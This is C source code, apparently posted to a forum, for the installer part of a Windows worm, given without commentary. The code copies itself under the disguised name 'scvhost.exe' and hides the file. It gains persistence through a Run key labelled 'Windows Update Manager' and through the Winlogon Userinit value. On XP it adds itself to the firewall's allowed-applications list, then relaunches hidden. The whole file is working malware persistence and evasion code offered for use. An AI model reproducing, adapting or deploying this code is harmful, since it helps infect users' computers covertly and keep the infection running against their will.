Code:
#include <windows.h>
#include <shellapi.h>
#include <stdio.h>
BOOL IsVista()
{
OSVERSIONINFO vi;
ZeroMemory(&vi, sizeof(vi));
vi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx( &vi );
return (vi.dwMajorVersion == 6 );
}
int main()
{
char appdata[] = "%appdata%";
char worm_file[] = "scvhost.exe";
char mutax[] = "D59CIFN53";
//MUTEX
HANDLE muh;
muh = CreateMutex(NULL, FALSE, mutax);
if (GetLastError() == ERROR_ALREADY_EXISTS)
ExitProcess(0);
//INSTALLER
HKEY hndKey = NULL;
char fullpath[MAX_PATH], Path[MAX_PATH], sys[MAX_PATH], vista[MAX_PATH];
GetModuleFileNameA( GetModuleHandleA(NULL), fullpath, sizeof(fullpath) );
if (IsVista())
{
//lets copy to %appdata%
ExpandEnvironmentStrings(appdata, vista, sizeof(vista));
_snprintf( Path, sizeof(Path), "%s\\%s", vista, worm_file);
RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\",0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL, &hndKey, NULL);
RegSetValueEx(hndKey,"Windows Update Manager",0, REG_SZ,(const unsigned char *)Path,strlen(Path));
RegCloseKey(hndKey);
}
else
{
GetSystemDirectory(sys,MAX_PATH);
_snprintf( Path, sizeof(Path), "%s\\%s", sys, worm_file );
//fw bypass xp
char pfad[256];
_snprintf(pfad, sizeof(pfad),"%s:*:Enabled:%s", fullpath, "Userinit");
RegCreateKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List", 0, 0, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hndKey, 0);
RegSetValueEx(hndKey, fullpath, 0, REG_SZ, (const unsigned char *)pfad, strlen(pfad));
RegCloseKey(hndKey);
//winlogon autostart
char reqpath[256];
_snprintf(reqpath, sizeof(reqpath),"%s\\userinit.exe,%s", sys, Path);
RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\",0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL, &hndKey, NULL);
RegSetValueEx(hndKey, "Userinit", 0, REG_SZ, (const unsigned char *)reqpath, strlen(reqpath));
RegCloseKey(hndKey);
}
if( strcmp( fullpath, Path ) != 0 )
{
CopyFileA(fullpath, Path, FALSE);
SetFileAttributes( Path , FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_READONLY );
ShellExecute( NULL, "open", Path, NULL, NULL, SW_HIDE );
ExitProcess( 0 );
}
return 0;
}